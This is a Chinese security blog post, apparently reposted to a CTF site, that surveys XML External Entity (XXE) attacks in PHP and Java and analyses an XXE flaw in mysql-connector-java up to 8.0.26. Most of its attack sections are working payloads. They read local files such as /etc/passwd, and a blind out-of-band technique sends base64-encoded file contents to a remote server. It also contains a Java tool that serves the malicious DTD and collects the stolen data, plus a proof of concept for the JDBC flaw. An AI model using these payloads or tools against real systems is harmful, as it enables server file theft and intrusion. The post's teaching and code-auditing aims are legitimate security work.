原创 | 纸上得来终觉浅—XXE大杂烩

渗透技巧 2年前 (2021) admin
867 0 0

原创 | 纸上得来终觉浅—XXE大杂烩

点击上方蓝字 关注我吧


有很多东西只是停留在听过和知道的层面,深入分析总结后,才能知道其中的魅力。
原创 | 纸上得来终觉浅—XXE大杂烩

XXE基础知识

原创 | 纸上得来终觉浅—XXE大杂烩
XML 用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括 XML 声明、DTD 文档类型定义、文档元素。
  • HTML 被设计用来显示数据,其焦点是数据的外观;XML 被设计用来传输和存储数据,其焦点是数据的内容。

  • HTML 的标签需要预定义,XML 的标签是自定义的。

  • 所有 XML 元素都必须有关闭标签、XML 标签对大小写敏感、XML 必须正确地嵌套、XML 文档必须有根元素、XML 的属性值必须加引号、XML 连续的空格会被保留。

  • XML 一些字符拥有特殊的意义,需要被实体引用。


实体引用
XML 字符
含义
<
<
小于
&gt;
>
大于
&amp;
&
和号
&apos;
单引号
&quot;
双引号
  • <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 是 XML 的头文件属性,用于声明 XML 文档的版本和编码,必须放在文档的开头。version 代表版本;encoding 代表字符编码方式;standalone 代表这个 XML 文件是独立的还是依赖于外部 DTD 文件,当值为 yes 时表示 DTD 仅用于验证文档结构,从而外部实体将被禁用,默认值为 no。


1、实体 ENTITY

命名实体(内部实体)

内部实体又称为命名实体。命名实体可以说成是变量声明,命名实体只能声明在 DTD 或者 XML 文件开始部分(<!DOCTYPE>)中。

命名实体语法 <!ENTIY 实体名称 "实体的值">

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY x "First Part!"> ]> <root><x>&x;</x></root><!-- 定义了一个实体名称 x 值为 First Part! --><!-- &x; 用于引用实体 x -->

利用 &实体名;引用实体,在 DTD 中定义 ,在 XML 文档中引用。

外部普通实体

外部实体用于加载外部文件的内容。

外部普通实体语法 <!ENTIY 实体名称 SYSTEM "URI/URL">

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY outfile SYSTEM "outfile.xml"> ]>

<root><outfile>&outfile;</outfile></root><!-- &outfile; 用于引用实体 outfile --><!-- 一般有回显的 xxe 我们通常用 "file:///etc/passwd" 来替换其中的 "outfile.xml"-->

外部参数实体

参数实体用于 DTD 和文档内部子集中。与一般实体不同,是以字符 (%) 开始,以字符 (;) 结束。
  • 使用 % 实体名(注意空格!) 在 DTD 中定义,并且只能在 DTD 中 使用 %实体名; 引用。
  • 只有在 DTD 文件中才能在参数实体声明的时候引用其他实体。
  • 参数实体可以外部引用。
为了方便理解,举以下几个栗子:
  • 栗子一
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % outfile SYSTEM "outfile.xml"> %outfile;]><!-- %outfile 用于引用实体 outfile -->
  • 栗子二
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % part1 "Hello"><!ENTITY % part2 " "><!ENTITY % part3 "world"><!ENTITY % dtd SYSTEM "test.dtd">%dtd;]> <root><content>&content;</content></root>

<!-- test.dtd --><!ENTIY content "%part1;part2;part3;"><!-- 最后解析的结果为 Hello world-->
  • 栗子三
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE convert [<!ENTITY % remote SYSTEM "http://ip/test.dtd">%remote;%int;%send;]>

<!-- test.dtd --><!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"><!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:2333?p=%file;'>">
    • %remote 请求远程 vps 上的 test.dtd。
    • %int 调用 test.dtd 中的 %file。
    • %file 获取服务器上的敏感文件,并传入 %send。
    • %send 将数据发送到远程 vps 上。

支持的协议

原创 | 纸上得来终觉浅—XXE大杂烩

原创 | 纸上得来终觉浅—XXE大杂烩

php中的XXE

原创 | 纸上得来终觉浅—XXE大杂烩
搭建环境
利用 phpstudy 搭建环境,此时我们选用 php5.3.29 这是因为libxml2.9.1及以后,默认不解析外部实体。测试的时候window下使用php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可使用phpinfo()查看libxml的版本信息。 审计时关注 SimpleXML 函数。

有回显读本地敏感文件(Normal XXE)

#xxe.php<?php
libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom);    echo $creds;
?>
<!-- payload --><?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY outfile SYSTEM "file:///c:/windows/system.ini"> ]> <root>&outfile;</root>
原创 | 纸上得来终觉浅—XXE大杂烩

当读取的文件存在特殊符号时,利用上述方法读取时会报错,所以需要利用 CDATA
被  <![CDATA[[]>这个标记所包含的内容将表示纯文本,比如 <![CDATA[<]]> 表示文本内容 <。使用时需要注意A,内容中不能再包含 ]]> 同时不能再嵌套使用。
<!-- payload --><?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY % start "<![CDATA[">   <!ENTITY % outfile SYSTEM "file:///C:/Users/admin/Desktop/a/info.txt">  <!ENTITY % end "]]>">  <!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/xxe.dtd"> %dtd; ]> <roottag>&all;</roottag><!-- xxe.dtd --><?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%outfile;%end;">
原创 | 纸上得来终觉浅—XXE大杂烩
过俺的测试发现,如果读取的文件中存在 % 还是会报错的。

无回显读取本地敏感文件(Blind OOB XXE)

# blindxxe.php<?php
libxml_disable_entity_loader (false);$xmlfile = file_get_contents('php://input');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>
<!-- payload --><?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://127.0.0.1:8080/xxe.dtd"> %remote;%int;%send; ]> <!-- xxe.dtd --><!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Users/admin/Desktop/a/info.txt"><!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:9999?p=%file;'>">
我们注意到在 DTD 文件中 % send 转换成了 &#37; send ,这是因为实体的值中不能有 % ,所以需要将其转换成 html 实体编码的 % 。
原创 | 纸上得来终觉浅—XXE大杂烩
写了一个简单的 xxe 利用脚本,功能简单就不做过多的分析了。
import com.sun.net.httpserver.HttpExchange;import com.sun.net.httpserver.HttpHandler;import com.sun.net.httpserver.HttpServer;import java.io.IOException;import java.io.OutputStream;import java.net.InetAddress;import java.net.InetSocketAddress;import java.net.UnknownHostException;

public class xxe { private static String filename = ""; public static void main(String[] args) throws UnknownHostException { if (args.length < 1) { System.out.println("usage: java -jar xxe.jar filename nneg:java -jar xxe.jar /etc/passwd"); System.exit(-1); } else { filename = args[0]; System.out.println(String.format("payload:n"+"<?xml version="1.0" encoding="utf-8"?>n" + "<!DOCTYPE convert [n" + "<!ENTITY %% remote SYSTEM "http://%s:9090/xxe.dtd">n" + "%%remote;%%int;%%send;n" + "]>",InetAddress.getLocalHost().getHostAddress())); try { HttpServer server = HttpServer.create(new InetSocketAddress(9090), 0); server.createContext("/xxe.dtd", new xxe.PHPDTDHandler()); server.setExecutor(null); server.start();
HttpServer xxeserver = HttpServer.create(new InetSocketAddress(9091), 0); System.out.println(String.format("Listen:%s:%s",InetAddress.getLocalHost().getHostAddress(),9091)); xxeserver.createContext("/",new xxe.ListenHandler()); xxeserver.setExecutor(null);                    xxeserver.start();
} catch (IOException e) { e.printStackTrace(); } } } static class ListenHandler implements HttpHandler{ public void handle(HttpExchange t) throws IOException{ String request = t.getRequestURI().getQuery(); System.out.println(request); t.sendResponseHeaders(200, request.length()); OutputStream os = t.getResponseBody(); os.write(request.getBytes()); os.close();
} }

static class PHPDTDHandler implements HttpHandler {
        public void handle(HttpExchange t) throws IOException {
String respone =String.format("<!ENTITY %% file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///%s">n" + "<!ENTITY %% int "<!ENTITY % send SYSTEM 'http://%s:9091?%%file;'>">",filename,InetAddress.getLocalHost().getHostAddress()); System.out.println("Sending xxe.dtd: n" + respone + "n"); t.sendResponseHeaders(200, respone.length()); OutputStream os = t.getResponseBody(); os.write(respone.getBytes()); os.close();
} }

}
原创 | 纸上得来终觉浅—XXE大杂烩

原创 | 纸上得来终觉浅—XXE大杂烩

java中的XXE

原创 | 纸上得来终觉浅—XXE大杂烩
java 中依赖于丰富的库,在解析 xml 数据的方式有多种,白盒审计时可以正则匹配相应 xml 解析库的类。 
javax.xml.parsers.DocumentBuilderFactoryjavax.xml.parsers.SAXParserjavax.xml.transform.TransformerFactoryjavax.xml.validation.Validatorjavax.xml.validation.SchemaFactoryjavax.xml.transform.sax.SAXTransformerFactoryjavax.xml.transform.sax.SAXSourceorg.xml.sax.XMLReaderorg.xml.sax.helpers.XMLReaderFactoryorg.dom4j.io.SAXReaderorg.jdom.input.SAXBuilderorg.jdom2.input.SAXBuilderjavax.xml.bind.Unmarshallerjavax.xml.xpath.XpathExpressionjavax.xml.stream.XMLStreamReaderorg.apache.commons.digester3.Digesterjavax.xml.transform.stream.StreamSourcejavax.xml.parsers.SAXParserFactory
利用工具
import java.io.*;import java.util.ArrayList;import java.util.List;import java.util.regex.Pattern;
public class xxeSearch { public static List list = new ArrayList(); public static void main(String[] args) throws IOException { if (args.length < 1) { System.out.println("usage: java -jar xxeSearch.jar pathnneg:java -jar xxeSearch.jar C:\Users\admin\Desktop\decompiled-mysql-connector-java-8.0.26"); System.exit(-1); } String path = args[0]; List filename = searchDir(path); for (int i = 0; i < filename.size(); i++) { String name = (String) filename.get(i); String str = ReaderSource(name); if(xxeFinder(str)){ System.out.println(name + " this class maybe have XXE!!!!!!!!!"); } } }
private static List searchDir(String path){

File file = new File(path); File[] array = file.listFiles();// 获得文件夹内的所有文件 for(int i=0;i<array.length;i++) { if(array[i].isFile()){ //System.out.println(path+array[i].getName()); list.add(path+array[i].getName()); }else if(array[i].isDirectory()){ //System.out.println(array[i].getName()); searchDir(array[i].getPath()+"\"); //递归获取文件夹名 } } return list;
} private static String ReaderSource(String path) { StringBuffer result = new StringBuffer(); File file = new File(path); try { BufferedReader bufferedReader = new BufferedReader(new FileReader(file)); //构造一个 BufferReader 类读取文件 String tempStr = null; while ((tempStr = bufferedReader.readLine()) != null) { //使用 readLine 方法,一次读取一行 result.append(tempStr); } bufferedReader.close(); } catch (Exception e) { e.printStackTrace(); } return result.toString(); } private static boolean xxeFinder(String str){ //String XXE_Regex = ".*javax.xml.parsers.DocumentBuilderFactory.*"; String XXE_Regex=".*javax.xml.*|.*org.xml.sax.*|.*javax.xml.parsers.DocumentBuilderFactory.*|.*javax.xml.parsers.SAXParser.*|.*javax.xml.transform.TransformerFactory.*|.*javax.xml.validation.Validator.*|.*javax.xml.validation.SchemaFactory.*|.*javax.xml.transform.sax.SAXTransformerFactory.*|.*javax.xml.transform.sax.SAXSource.*|.*org.xml.sax.XMLReader.*|.*org.xml.sax.helpers.XMLReaderFactory.*|.*org.dom4j.io.SAXReader.*|.*org.jdom.input.SAXBuilder.*|.*org.jdom2.input.SAXBuilder.*|.*javax.xml.bind.Unmarshaller.*|.*javax.xml.xpath.XpathExpression.*|.*javax.xml.stream.XMLStreamReader.*|.*org.apache.commons.digester3.Digester.*|.*javax.xml.ws.EndpointReference.*|.*javax.xml.transform.stream.StreamSource.*|.*javax.xml.parsers.SAXParserFactory.*"; return Pattern.matches(XXE_Regex,str); }}
原创 | 纸上得来终觉浅—XXE大杂烩
利用工具可以选用 xxer
原创 | 纸上得来终觉浅—XXE大杂烩

MySQL JDBC XXE漏洞

原创 | 纸上得来终觉浅—XXE大杂烩

漏洞分析

infected: mysql-connector-java <= 8.0.26fixed: mysql-connector-java > 8.0.27
创建 maven 项目,并在 pom.xml 中添加依赖。
<dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.26</version> </dependency>
我们对比存在漏洞的版本和修复漏洞的版本mysql-connector-java-8.0.27.jar&&mysql-connector-java-8.0.26.jar。
GitHub – GraxCode/cafecompare: Java code comparison tool (jar / class)
原创 | 纸上得来终觉浅—XXE大杂烩
我们已经知道漏洞的触发点位于函数 com.mysql.cj.jdbc.MysqlSQLXML#getSource
com.mysql.cj.jdbc.MysqlSQLXML#getSource
原创 | 纸上得来终觉浅—XXE大杂烩
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance(); 没有做相关校验和判断,直接实例化对象,从而可以在XML 中引入外部实体,造成 XXE 攻击。
原创 | 纸上得来终觉浅—XXE大杂烩
我们看到实例化的数据是 inputSource 他可以由 this.stringRep来决定, 关注一下 this.stringRep的赋值操作。
com.mysql.cj.jdbc.MysqlSQLXML#setString
原创 | 纸上得来终觉浅—XXE大杂烩
在赋值给 stringRep 的同时也设定了 fromResultSet的值为 flase
com.mysql.cj.jdbc.MysqlSQLXML类继承于 java.sql.SQLXML 所以只需要创建一个 SQLXML对象,就可以调用其 getSource和 setString 方法。
原创 | 纸上得来终觉浅—XXE大杂烩
查阅关于`SQLXML的一些用法: sqlxml
原创 | 纸上得来终觉浅—XXE大杂烩
方法 Connection.createSQLXML 用于创建一个空的 SQLXML 对象。SQLXML.setString 方法用于将数据写入创建的 SQLXML对象。

理论验证

import javax.xml.transform.dom.DOMSource;import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLXML;public class Poc {    private static final String connection_url = "jdbc:mysql://127.0.0.1:3306/mysqlxxe";    private static final String connection_user = "mysqlxxe";    private static final String connection_pass = "mysqlxxe";    private static final String poc = "" +            "<!DOCTYPE b [" +            "   <!ENTITY xxe SYSTEM  "http://127.0.0.1:8080/poc.txt">" +            "]>" +            "<name>&xxe;</name>";    public static void main(String[] args) throws Exception {        Connection connection = DriverManager.getConnection(connection_url, connection_user,connection_pass);        SQLXML sqlxml = connection.createSQLXML();        sqlxml.setString(poc);        sqlxml.getSource(DOMSource.class);    }   }
原创 | 纸上得来终觉浅—XXE大杂烩

实际操作

在数据库中添加一个表
create table tb_test ( id bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键id', message text COMMENT 'SQLXML', PRIMARY KEY (`id`));
表中插入数据
insert into tb_test(message) values('<?xml version="1.0" ?> <!DOCTYPE note [ <!ENTITY % remote SYSTEM "http://127.0.0.1:80/xxe.dtd"> %remote; ]>');
原创 | 纸上得来终觉浅—XXE大杂烩
查询数据
Statement statement = connection.createStatement();statement.execute("select * from tb_test");ResultSet resultSet = statement.getResultSet();while (resultSet.next()) { SQLXML sqlxml = resultSet.getSQLXML("message"); sqlxml.getSource(DOMSource.class);}
原创 | 纸上得来终觉浅—XXE大杂烩
对应的来说,有两种方式可以将恶意 XXE 传递给 MysqlSQLXML。
  • 使用 sqlxml.setString() 函数 (攻击者可以调用或传递任意参数到 setString 函数)。
  • 将 XML 放入 DB 并使用 resultSet.getSQLXML() 函数通过结果集检索它 (如果攻击者对数据库具有访问权限,或者将受害者指向攻击者控制的数据库)。

相关推荐




原创 | 绕过后缀安全检查进行文件上传-2
原创 | 某cms比较有意思的sql注入
原创 | 浅谈httpClient组件与ssrf
原创 | 纸上得来终觉浅—XXE大杂烩
你要的分享、在看与点赞都在这儿~

原文始发于微信公众号(SecIN技术平台):原创 | 纸上得来终觉浅—XXE大杂烩

版权声明:admin 发表于 2021年12月22日 下午12:32。
转载请注明:原创 | 纸上得来终觉浅—XXE大杂烩 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...